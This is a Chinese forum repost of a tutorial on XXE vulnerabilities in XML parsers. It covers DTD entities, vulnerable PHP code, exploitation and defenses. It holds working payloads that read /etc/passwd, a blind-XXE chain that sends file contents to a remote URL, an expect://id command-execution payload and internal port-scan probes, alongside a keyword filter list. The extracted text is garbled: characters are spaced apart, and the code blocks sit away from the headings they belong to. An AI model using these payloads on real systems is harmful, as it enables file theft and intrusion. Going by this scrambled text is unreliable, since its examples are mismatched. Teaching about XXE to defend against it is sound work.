搜索

[7428] 2018-05-12_XXE漏洞的原理和防御

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-17
2018-05-12_XXE漏洞的原理和防御 X X E 漏 洞 的 原 理 和 防 御 x i a o t i n g   F 1 1 T e a m   2 0 1 8 - 0 5 - 1 2 一 、 X M L 基 础 X M L 是 可 扩 展 标 记 语 言 ， 被 设 计 用 来 传 输 和 存 储 数 据 。 在 我 看 来 ， 它 是 一 种 传 输 数 据 的 格 式 ， 与 j s o n 类 似 。 1 、 X M L 文 档 结 构 X M L 文 档 结 构 包 括 X M L 声 明 、 D T D （ 文 档 类 型 定 义 ） 、 文 档 元 素 。 [ X M L ]   纯 文 本 查 看   复 制 代 码 ? 0 1 0 2 0 3 0 4 0 5 0 6 0 7 0 8 0 9 1 0 1 1 1 2 1 3 1 4 1 5 1 6 1 7     < ! - - X M L 申 明 - - > < ? x m l v e r s i o n = " 1 . 0 " e n c o d i n g = " u t f - 8 " ? >     < ! - - 文 档 类 型 定 义 - - > < ! D O C T Y P E   n o t e   [     < ! - - 定 义 此 文 档 是   n o t e   类 型 的 文 档 - - > < ! E L E M E N T   n o t e   ( t o , f r o m , h e a d i n g , b o d y ) >     < ! - - 定 义 n o t e 元 素 有 四 个 元 素 - - > < ! E L E M E N T   t o   ( # P C D A T A ) >           < ! - - 定 义 t o 元 素 为 ” # P C D A T A ” 类 型 - - > < ! E L E M E N T   f r o m   ( # P C D A T A ) >       < ! - - 定 义 f r o m 元 素 为 ” # P C D A T A ” 类 型 - - > < ! E L E M E N T   h e a d   ( # P C D A T A ) >       < ! - - 定 义 h e a d 元 素 为 ” # P C D A T A ” 类 型 - - > < ! E L E M E N T   b o d y   ( # P C D A T A ) >       < ! - - 定 义 b o d y 元 素 为 ” # P C D A T A ” 类 型 - - > ] ] ] > < ! - - 文 档 元 素 - - > < n o t e > < t o > D a v e < / t o > < f r o m > T o m < / f r o m > < h e a d > R e m i n d e r < / h e a d > < b o d y > Y o u   a r e   a   g o o d   m a n < / b o d y > < / n o t e >
X X E 漏 洞 与 D T D 相 关 ， 下 面 重 点 介 绍 D T D 的 相 关 概 念 。 2 、 D T D （ 文 档 定 义 类 型 ） 文 档 类 型 定 义 （ D T D ） 可 定 义 合 法 的 X M L 文 档 构 建 模 块 ， 它 使 用 一 系 列 合 法 的 元 素 来 定 义 文 档 的 结 构 。 D T D   可 被 成 行 地 声 明 于 X M L 文 档 中 （ 内 部 引 用 ） ， 也 可 作 为 一 个 外 部 引 用 。 内 部 引 用 D T D ： [ X M L ]   纯 文 本 查 看   复 制 代 码 ? 1 外 部 引 用 D T D ： [ X M L ]   纯 文 本 查 看   复 制 代 码 ? 1 D T D 文 档 中 的 关 键 字 如 下 ： D O C T Y P E ： D T D 的 声 明 E N T I T Y ： 实 体 的 声 明 S Y S T E M 、 P U B L I C ： 外 部 资 源 申 请 3 、 实 体 实 体 可 以 理 解 为 X M L 中 的 变 量 ， 它 必 须 在 D T D 中 定 义 声 明 ， 可 以 在 X M L 文 档 中 的 其 他 位 置 引 用 该 变 量 的 值 。 实 体 类 型 如 下 ： 1 ） 参 数 实 体 2 ） 非 参 数 实 体 ： 内 置 实 体 、 字 符 实 体 、 通 用 实 体 或 者 1 ） 内 部 实 体 2 ） 外 部 实 体 4 、 实 体 类 别 介 绍 1 ） 参 数 实 体 用 “ % 实 体 名 称 ” 声 明 ， 引 用 时 也 用 “ % 实 体 名 称 ” ； 非 参 数 实 体 用 “ 实 体 名 称 ” 声 明 ， 引 用 时 用 “ & 实 体 名 称 ” 。 2 ） 实 体 都 只 能 在 D T D 中 声 明 ， 参 数 实 体 只 能 在 D T D 中 引 用 ； 其 它 实 体 能 在 X M L 文 档 的 任 何 地 方 引 用 （ 声 明 之 后 ） 。 内 部 实 体 ： [ X M L ]   纯 文 本 查 看   复 制 代 码 ? 1 外 部 实 体 ： [ X M L ]   纯 文 本 查 看   复 制 代 码 ? 1 < ! D O C T Y P E   根 元 素   [ 元 素 声 明 ] > < ! D O C T Y P E   根 元 素   S Y S T E M   " 文 件 名 " > < ! E N T I T Y   实 体 名 称   " 实 体 的 值 " > < ! E N T I T Y   实 体 名 称   S Y S T E M   " U R I " >
参 数 实 体 ： [ X M L ]   纯 文 本 查 看   复 制 代 码 ? 1 或 者 [ X M L ]   纯 文 本 查 看   复 制 代 码 ? 1 实 例 演 示 1 ： 非 参 数 实 体 + 内 部 实 体 [ X M L ]   纯 文 本 查 看   复 制 代 码 ? 1 2 3 4 5 6     实 例 演 示 2 ： 非 参 数 实 体 + 外 部 实 体 [ X M L ]   纯 文 本 查 看   复 制 代 码 ? < ! E N T I T Y   %   实 体 名 称   " 实 体 的 值 " > < ! E N T I T Y   %   实 体 名 称   S Y S T E M   " U R I " > < ? x m l v e r s i o n = " 1 . 0 " e n c o d i n g = " u t f - 8 " ? > < ! D O C T Y P E   a   [ < ! E N T I T Y   n a m e   " n M a s k " > ] > < f o o > < v a l u e > & n a m e ; < / v a l u e >   < / f o o >
1 2 3 4 5 6     实 例 演 示 3 ： 参 数 实 体 + 内 部 实 体 [ X M L ]   纯 文 本 查 看   复 制 代 码 ? 1 2 3 4 5     实 例 演 示 4 ： 参 数 实 体 + 外 部 实 体 [ X M L ]   纯 文 本 查 看   复 制 代 码 ? 1 2 3 4 5     < ? x m l v e r s i o n = " 1 . 0 " e n c o d i n g = " u t f - 8 " ? > < ! D O C T Y P E   a   [ < ! E N T I T Y   n a m e   S Y S T E M   " f i l e : / / / e t c / p a s s w d " > ] > < f o o > < v a l u e > & n a m e ; < / v a l u e >   < / f o o > < ? x m l v e r s i o n = " 1 . 0 " e n c o d i n g = " u t f - 8 " ? > < ! D O C T Y P E   a   [ < ! E N T I T Y     n a m e     " n M a r k " > % n a m e ; ] > < ? x m l v e r s i o n = " 1 . 0 " e n c o d i n g = " u t f - 8 " ? > < ! D O C T Y P E   a   [ < ! E N T I T Y   %   n a m e   S Y S T E M   " f i l e : / / / e t c / p a s s w d " > % n a m e ; ] >
注 ： X X E 漏 洞 是 利 用 了 D T D 引 用 外 部 实 体 导 致 的 漏 洞 5 、 外 部 实 体 可 引 用 的 外 部 实 体 的 类 型 如 下 ： 常 用 的 有 f i l e 、 h t t p 、 h t t p s 、 f t p 。 实 例 演 示 ： [ X M L ]   纯 文 本 查 看   复 制 代 码 ? 1 2 3 4 5 6     二 、 X X E 漏 洞 1 、 漏 洞 场 景 及 代 码 分 析 本 帖 隐 藏 的 内 容 X X E 漏 洞 全 称 为 外 部 实 体 注 入 漏 洞 ， 应 用 程 序 解 析 X M L 输 入 时 ， 没 有 禁 止 加 载 外 部 实 体 ， 且 没 有 过 滤 输 入 ， 导 致 攻 击 者 可 加 载 恶 意 外 部 文 件 ， 造 成 X X E 漏 洞 。 下 以 P H P 代 码 为 例 说 明 ， P H P 解 析 X M L 格 式 数 据 有 四 种 常 用 方 式 ， 其 中 最 常 用 的 是 s i m p l e x m l 。 1 ） 漏 洞 代 码 示 例 1 ： H T T P 请 求 参 数 [ P H P ]   纯 文 本 查 看   复 制 代 码 ? < ? x m l v e r s i o n = " 1 . 0 " e n c o d i n g = " u t f - 8 " ? > < ! D O C T Y P E   a   [ < ! E N T I T Y   c o n t e n t   S Y S T E M   " f i l e : / / / e t c / p a s s w d " > ] > < f o o > < v a l u e > & c o n t e n t ; < / v a l u e >         < / f o o >
1 2 3 4 5 6       测 试 语 句 1 : c = < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 8 " ? > < ! D O C T Y P E   A N Y   [ < ! E N T I T Y   n a m e   " x x e   t e s t " > ] > < r o o t > & n a m e ; < / r o o t > 可 以 看 出 应 用 程 序 解 析 了 X M L 语 句 ， 接 下 来 看 看 应 用 程 序 支 不 支 持 引 用 外 部 实 体 。 测 试 语 句 2 ： c = < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 8 " ? > < ! D O C T Y P E   A N Y   [ < ! E N T I T Y   n a m e   " f i l e : / / / e t c / p a s s w d " > ] > < r o o t > & n a m e ; < / r o o t > 可 以 看 出 应 用 程 序 未 禁 止 引 用 外 部 实 体 ， 且 未 过 滤 参 数 ， 直 接 读 取 了 p a s s w d 文 件 的 内 容 返 回 。 2 ） 漏 洞 代 码 示 例 2 ： 读 取 函 数 X M L 代 码 的 文 件 [ P H P ]   纯 文 本 查 看   复 制 代 码 ? < ? p h p                 $ c o n t e n t =   $ _ G E T [ ' c ' ] ;                                 $ x m l =   s i m p l e x m l _ l o a d _ s t r i n g ( $ c o n t e n t ) ;                 p r i n t _ r ( $ x m l ) ; ? >
1 2 3 4 5 6       此 时 可 以 配 合 文 件 上 传 功 能 上 传 一 个 含 有 X M L 代 码 的 图 片 ， 然 后 让 应 用 程 序 读 取 该 文 件 ， 解 析 其 中 的 X M L 代 码 。 如 上 传 1 . j p g ， 内 容 为 ： [ X M L ]   纯 文 本 查 看   复 制 代 码 ? 1     2 、 漏 洞 利 用 方 式 X X E 漏 洞 可 以 用 来 文 件 读 取 、 命 令 执 行 、 内 网 端 口 扫 描 、 攻 击 内 网 网 站 、 发 起 D O S 攻 击 等 。 1 ） 文 件 读 取 上 述 已 介 绍 ， 不 赘 述 。 当 X M L 解 析 的 内 容 不 返 回 客 户 端 时 ， 漏 洞 代 码 如 下 ： [ P H P ]   纯 文 本 查 看   复 制 代 码 ? < ? p h p                 $ p a t h =   $ _ G E T [ ' f i l e ' ] ;                 $ c o n t e n t =   f i l e _ g e t _ c o n t e n t s ( $ p a t h ) ;                 $ x m l =   s i m p l e x m l _ l o a d _ s t r i n g ( $ c o n t e n t ) ;         p r i n t _ r ( $ x m l ) ; ? > < ? x m l v e r s i o n = " 1 . 0 " e n c o d i n g = " U T F - 8 " ? > < ! D O C T Y P E   A N Y   [ < ! E N T I T Y   n a m e   S Y S T E M   " f i l e : / / / e t c / p a s s w d " > ] > < r o o t > & n a m e ; < / r o o t >
1 2 3 4 5 6       此 时 可 以 将 解 析 后 的 数 据 发 送 到 远 程 服 务 器 中 ， 即 B l i n d   X X E ， 利 用 代 码 如 下 ： [ X M L ]   纯 文 本 查 看   复 制 代 码 ? 1 2 3 4 5 6 7 8   1 . x m l 中 的 内 容 ： [ X M L ]   纯 文 本 查 看   复 制 代 码 ? 1 注 意 ： 内 部 实 体 内 否 使 用 也 取 决 于 浏 览 器 的 特 性 ， 在 谷 歌 和 s a f a r i 下 不 可 使 用 ， 在 火 狐 下 可 使 用 。 2 ） 命 令 执 行 在 安 装 了 e x p e c t 扩 展 的 P H P 环 境 下 ， 可 以 使 用 “ e x p e c t : / / 命 令 ” 执 行 命 令 ， 这 种 情 况 很 少 见 。 利 用 代 码 如 下 ： [ X M L ]   纯 文 本 查 看   复 制 代 码 ? < ? p h p                 $ p a t h =   $ _ G E T [ ' f i l e ' ] ;                 $ c o n t e n t =   f i l e _ g e t _ c o n t e n t s ( $ p a t h ) ;                 $ x m l =   s i m p l e x m l _ l o a d _ s t r i n g ( $ c o n t e n t ) ;                 / / p r i n t _ r ( $ x m l ) ; ? > < ? x m l v e r s i o n = " 1 . 0 " ? >     < ! D O C T Y P E   A N Y [     < ! E N T I T Y   %   f i l e   S Y S T E M   " f i l e : / / / t m p / 1 . t x t " >     < ! E N T I T Y   %   r e m o t e   S Y S T E M   " h t t p : / / 1 2 7 . 0 . 0 . 1 / 1 . x m l " >     % r e m o t e ; % a l l ; % s e n d ;     ] > < ! E N T I T Y   %   a l l   " < ! E N T I T Y   %   s e n d   S Y S T E M   ' h t t p : / / 1 2 7 . 0 . 0 . 1 / 1 . p h p ? f i l e = % f i l e ; ' > " >
1 2 3 4     3 ） 内 网 端 口 扫 描 探 测 8 0 端 口 ： [ X M L ]   纯 文 本 查 看   复 制 代 码 ? 1 2 3 4     可 以 看 出 4 0 3 错 误 ， 8 0 端 口 处 于 开 启 状 态 。 探 测 8 1 端 口 ： [ X M L ]   纯 文 本 查 看   复 制 代 码 ? < ? x m l v e r s i o n = " 1 . 0 " e n c o d i n g = " u t f - 8 " ? > < ! D O C T Y P E   A N Y   [                 < ! E N T I T Y   x x e   S Y S T E M   " e x p e c t : / / i d " > ] > < r o o t > & x x e ; < / r o o t > < ? x m l v e r s i o n = " 1 . 0 " e n c o d i n g = " u t f - 8 " ? > < ! D O C T Y P E   A N Y   [                 < ! E N T I T Y   x x e   S Y S T E M   " h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 " > ] > < r o o t > & x x e ; < / r o o t >
1 2 3 4     可 以 看 出 8 1 端 口 拒 绝 连 接 ， 处 于 关 闭 状 态 。 4 ） 攻 击 内 网 网 站 和 S S R F 漏 洞 类 似 ， 能 直 接 通 过 U R L 访 问 进 行 攻 击 的 系 统 都 可 以 利 用 X X E 漏 洞 进 行 攻 击 ， 如 S t r u t s 2 漏 洞 。 3 、 X X E 防 御 1 ） 由 于 X X E 漏 洞 的 产 生 原 因 是 未 禁 止 引 用 外 部 实 体 ， 所 以 只 要 使 用 开 发 语 言 内 置 的 外 部 引 用 禁 止 函 数 即 可 。 P H P ： l i b x m l _ d i s a b l e _ e n t i t y _ l o a d e r ( t r u e ) ; J A V A : D o c u m e n t B u i l d e r F a c t o r y   d b f   = D o c u m e n t B u i l d e r F a c t o r y . n e w I n s t a n c e ( ) ; d b f . s e t E x p a n d E n t i t y R e f e r e n c e s ( f a l s e ) ; P y t h o n ： f r o m   l x m l   i m p o r t   e t r e e x m l D a t a   =   e t r e e . p a r s e ( x m l S o u r c e , e t r e e . X M L P a r s e r ( r e s o l v e _ e n t i t i e s = F a l s e ) ) 2 ） 过 滤 用 户 输 入 过 滤 关 键 词 ： < ! D O C T Y P E 、 < ! E N T I T Y 、 S Y S T E M 和 P U B L I C 。 阅 读 原 文 < ? x m l v e r s i o n = " 1 . 0 " e n c o d i n g = " u t f - 8 " ? > < ! D O C T Y P E   A N Y   [                 < ! E N T I T Y   x x e   S Y S T E M   " h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 1 " > ] > < r o o t > & x x e ; < / r o o t >
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理